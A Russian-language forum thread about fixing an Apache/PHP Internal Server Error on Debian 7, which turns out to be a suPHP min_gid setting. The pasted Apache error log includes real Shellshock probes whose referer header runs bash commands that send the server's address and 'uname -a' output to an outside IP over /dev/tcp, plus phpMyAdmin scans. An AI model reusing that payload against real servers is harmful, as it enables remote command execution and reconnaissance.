Apache + php

Автор Андрей_1, 20 июня 2015, 09:58:20

« назад - далее »

0 Пользователи и 1 гость просматривают эту тему.

Андрей_1

Решил подключить к Apache - php. Debian7
Делал вот по этим статьям :
http://blog.evgeniy.me/1807
http://iantonov.me/page/nastraivaem-lamp-linux-apache-mysql-php-v-debian-7

html сервер работает. А при введении localhost/phpinfo.php выдаёт:
Открыть содержимое (спойлер)

Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, webmaster@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.
More information about this error may be available in the server error log.
[свернуть]
Читал про данную ошибку, пытался выполнить рекомендации, но без успешно.
На другом компе попробовал всё сделать по этим же статьям и всё получилось. phpinfo выдаёт информацию о сервере, ошибок нет.

А с первым компом так и не могу справиться. Где я накосячил?
при перегрузке apache:
Открыть содержимое (спойлер)

root@Librarydeb:/home/manager# /etc/init.d/apache2 restart
[....] Restarting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 109.195.67.158 for ServerName
... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 109.195.67.158 for ServerName
. ok

[свернуть]
От куда взялось - apache2apache2 ?

endru

показывай виртуалхост апача и /etc/hosts

Андрей_1

/etc/hosts
Открыть содержимое (спойлер)

127.0.0.1 localhost
109.195.67.158 Librarydeb
109.195.76.158 manager.my-pc
[свернуть]

/etc/apache2/sites-available/default
Открыть содержимое (спойлер)

<VirtualHost *:80>
   ServerAdmin webmaster@localhost

   DocumentRoot /var/www
   <Directory />
      Options FollowSymLinks
      AllowOverride None
   </Directory>
   <Directory /var/www/>
      Options Indexes FollowSymLinks MultiViews
      AllowOverride None
      Order allow,deny
      allow from all
   </Directory>

   ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
   <Directory "/usr/lib/cgi-bin">
      AllowOverride None
      Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
      Order allow,deny
      Allow from all
   </Directory>

   ErrorLog ${APACHE_LOG_DIR}/error.log

   # Possible values include: debug, info, notice, warn, error, crit,
   # alert, emerg.
   LogLevel warn

   CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

[свернуть]


endru

Андрей_1, зачем ты указываешь свой IP в /etc/hosts ? он указывается в случаях: домен не существует; нужно открыть домен на IP отличном от А записей DNS, и т.д.
правильней указывать:
127.0.1.1 librarydeb manager.my-pc

Андрей_1

#4
Пробовал всё, вот и осталась запись.
Сейчас исправлю!

Cообщение объединено 22 июня 2015, 11:25:28

Исправил.
не изменилось!
root@Librarydeb:/home/manager# /etc/init.d/apache2 restart
[....] Restarting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
. ok
На в браузере та же ошибка!

endru

grep -i error /var/log/apache2/error.log
chmod +r -R /var/www/
dpkg -l | grep apache

Андрей_1

chmod +r -R /var/www/  выполнил
log
Открыть содержимое (спойлер)

root@Librarydeb:/home/manager# grep -i error /var/log/apache2/error.log
[Sun Jun 21 09:10:21 2015] [error] [client 185.49.15.23] File does not exist: /var/www/testproxy.php
[Sun Jun 21 09:28:08 2015] [error] [client 59.124.113.45] File does not exist: /var/www/phpMyAdmin
[Sun Jun 21 09:28:12 2015] [error] [client 59.124.113.45] File does not exist: /var/www/pma
[Sun Jun 21 09:28:15 2015] [error] [client 59.124.113.45] File does not exist: /var/www/myadmin
[Sun Jun 21 10:32:20 2015] [error] [client 121.14.5.125] File does not exist: /var/www/muieblackcat
[Sun Jun 21 14:31:09 2015] [error] [client 163.24.108.251] File does not exist: /var/www/phpMyAdmin
[Sun Jun 21 14:31:13 2015] [error] [client 163.24.108.251] File does not exist: /var/www/pma
[Sun Jun 21 14:31:17 2015] [error] [client 163.24.108.251] File does not exist: /var/www/myadmin
[Sun Jun 21 18:19:12 2015] [error] [client 178.162.5.3] Invalid URI in request `\x85\xfb\xb3\xf0\x87Dk\xa1\xfda\xeb\r\xba8L\xb2\x04\xf5I\x03
[Sun Jun 21 18:34:26 2015] [error] [client 213.165.70.245] script not found or unable to stat: /usr/lib/cgi-bin/hello.cgi, referer: () { :;}; /bin/bash -c "echo 109.195.67.158/cgi-bin/hello.cgi  > /dev/tcp/74.208.79.34/21; /bin/uname -a > /dev/tcp/74.208.79.34/21; echo 109.195.67.158/cgi-bin/hello.cgi > /dev/udp/74.208.79.34/21"
[Sun Jun 21 19:46:30 2015] [error] [client 185.49.15.23] File does not exist: /var/www/testproxy.php
[Sun Jun 21 22:20:38 2015] [error] [client 95.153.168.25] Invalid URI in request \xd8\xfd'XMP\x84\x9aKhv\x85\xfbh!\xba\xbb~N\x1b\xcd\xb5\x1a\xf5\x12\x1c\t\x81\xe9n\xc1\x82\x88pR\xbc\x10!\x10jq\xb9\x1e\xd8\xac\xd9\xb2\x1c\xf5\xc2\xf9\x85\xb6
[Sun Jun 21 22:51:39 2015] [error] [client 104.193.9.236] File does not exist: /var/www/phpmyadmin
[Mon Jun 22 00:18:09 2015] [error] [client 217.118.93.89] Invalid method in request \x97-\xa6]\x98)\bP\x81>\x03N\xfb@\xf6\xc0`\xe9\x17\xb0\xf7\x9b\xf9D\xaf\xef\xcb\x83t\xee\x07C\x97
[Mon Jun 22 01:31:01 2015] [error] [client 82.222.68.215] Invalid method in request \xc4v*\x02N\x8d\xbe\x1d_\x14`\x0eI\x89#\x85\x0f3\x18Y-\x14
[Mon Jun 22 01:41:41 2015] [error] [client 178.168.244.67] Invalid method in request \xa0h\xf9\x7f(d\xcb\xc5\xd3
[Mon Jun 22 03:38:37 2015] [error] [client 192.168.241.77] File does not exist: /var/www/favicon.ico
[Mon Jun 22 08:11:17 2015] [error] [client 185.25.151.159] File does not exist: /var/www/testproxy.php
[Mon Jun 22 08:25:26 2015] [error] [client 192.187.110.98] File does not exist: /var/www/testproxy.php
[Mon Jun 22 09:13:04 2015] [error] [client 179.135.120.132] request failed: error reading the headers
[Mon Jun 22 09:28:18 2015] [error] [client 195.218.134.34] File does not exist: /var/www/favicon.ico
[Mon Jun 22 09:28:18 2015] [error] [client 195.218.134.34] File does not exist: /var/www/favicon.ico
[Mon Jun 22 09:28:18 2015] [error] [client 195.218.134.34] File does not exist: /var/www/favicon.ico
[Mon Jun 22 09:43:34 2015] [error] [client 195.218.134.130] File does not exist: /var/www/favicon.ico
[Mon Jun 22 09:43:38 2015] [error] [client 195.218.134.130] File does not exist: /usr/share/javascript/jquery.min.js
[Mon Jun 22 09:43:38 2015] [error] [client 195.218.134.130] File does not exist: /usr/share/javascript/jquery.magnifier.js
[Mon Jun 22 11:00:06 2015] [error] [client 213.165.70.245] script not found or unable to stat: /usr/lib/cgi-bin/index.cgi, referer: () { :;}; /bin/bash -c "echo 109.195.67.158/cgi-bin/index.cgi  > /dev/tcp/74.208.79.34/21; /bin/uname -a > /dev/tcp/74.208.79.34/21; echo 109.195.67.158/cgi-bin/index.cgi > /dev/udp/74.208.79.34/21"
[Mon Jun 22 12:47:15 2015] [error] [client 178.19.104.138] File does not exist: /var/www/robots.txt
[Mon Jun 22 15:23:15 2015] [error] [client 109.195.67.158] SoftException in Application.cpp:356: GID of script "/var/www/phpinfo.php" is smaller than min_gid
[Mon Jun 22 15:23:15 2015] [error] [client 109.195.67.158] Premature end of script headers: phpinfo.php
[Mon Jun 22 15:23:15 2015] [error] [client 109.195.67.158] File does not exist: /var/www/favicon.ico
[Mon Jun 22 15:23:15 2015] [error] [client 109.195.67.158] File does not exist: /var/www/favicon.ico
[Mon Jun 22 15:34:44 2015] [error] [client 195.16.111.50] Invalid URI in request \xf6\x14\xe1\x9e\vJ\b\xf2&(\xf6\x1a\xa0
root@Librarydeb:/home/manager#
[свернуть]

dpkg -l | grep apache
Открыть содержимое (спойлер)

root@Librarydeb:/home/manager# dpkg -l | grep apache
ii  apache2                              2.2.22-13+deb7u4                        i386         Apache HTTP Server metapackage
ii  apache2-doc                          2.2.22-13+deb7u4                        all          Apache HTTP Server documentation
ii  apache2-mpm-prefork                  2.2.22-13+deb7u4                        i386         Apache HTTP Server - traditional non-threaded model
ii  apache2-utils                        2.2.22-13+deb7u4                        i386         utility programs for webservers
ii  apache2.2-bin                        2.2.22-13+deb7u4                        i386         Apache HTTP Server common binary files
ii  apache2.2-common                     2.2.22-13+deb7u4                        i386         Apache HTTP Server common files
ii  libapache-pom-java                   10-2                                    all          Maven metadata for all Apache Software projects
ii  libapache2-mod-php5                  5.4.41-0+deb7u1                         i386         server-side, HTML-embedded scripting language (Apache 2 module)
rc  libapache2-mod-php5filter            5.4.41-0+deb7u1                         i386         server-side, HTML-embedded scripting language (apache 2 filter module)
ii  libapache2-mod-suphp                 0.7.1-3                                 i386         Apache2 module to run PHP scripts with the owner permissions
root@Librarydeb:/home/manager#

[свернуть]


endru

#7
Цитата: Андрей_1 от 22 июня 2015, 12:10:52SoftException in Application.cpp:356: GID of script "/var/www/phpinfo.php" is smaller than min_gid
Цитата: Андрей_1 от 22 июня 2015, 12:10:52libapache2-mod-suphp
гугл говорит: раз,два
вывод - настроить suphp или отказаться от него.

Cообщение объединено 22 июня 2015, 12:33:38

[ot]судя по логам, тебя еще и долбят периодически. настрой хотя бы fail2ban для апача[/ot]

Андрей_1

Вот посмотрел раз и два. Честно говоря мой английский сильно хромает. Вкрадце не могли бы описать суть! Это связано с железом?


endru

вкратце:
chown -R www-data:www-data /var/www/
если не помогло, то нужно проверить настройки /etc/suphp/suphp.conf (возможно в дебиан отличается директория, не устанавливал не знаю)
min_uid и min_gid - должны совпадать с uid и gid www-data, соответственно (можно посмотреть командой id www-data)

Андрей_1

Спасибо огромное!
min_uid и min_gid  не совпадали с www-data.
Поменял. Теперь phpinfo выдаёт инфу о сервере
Но при рестарте apache  всё равно какая-то странная строка:
Открыть содержимое (спойлер)

root@Librarydeb:/home/manager# /etc/init.d/apache2 restart
[....] Restarting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
. ok
[свернуть]


endru

Андрей_1, это предупреждение, не критично.
пропиши в /etc/hosts и /etc/hostname реальное доменное имя (если такое имеется) и сообщение пропадет.
На сообщение можно не обращать внимания, если сервер используется в личных целях.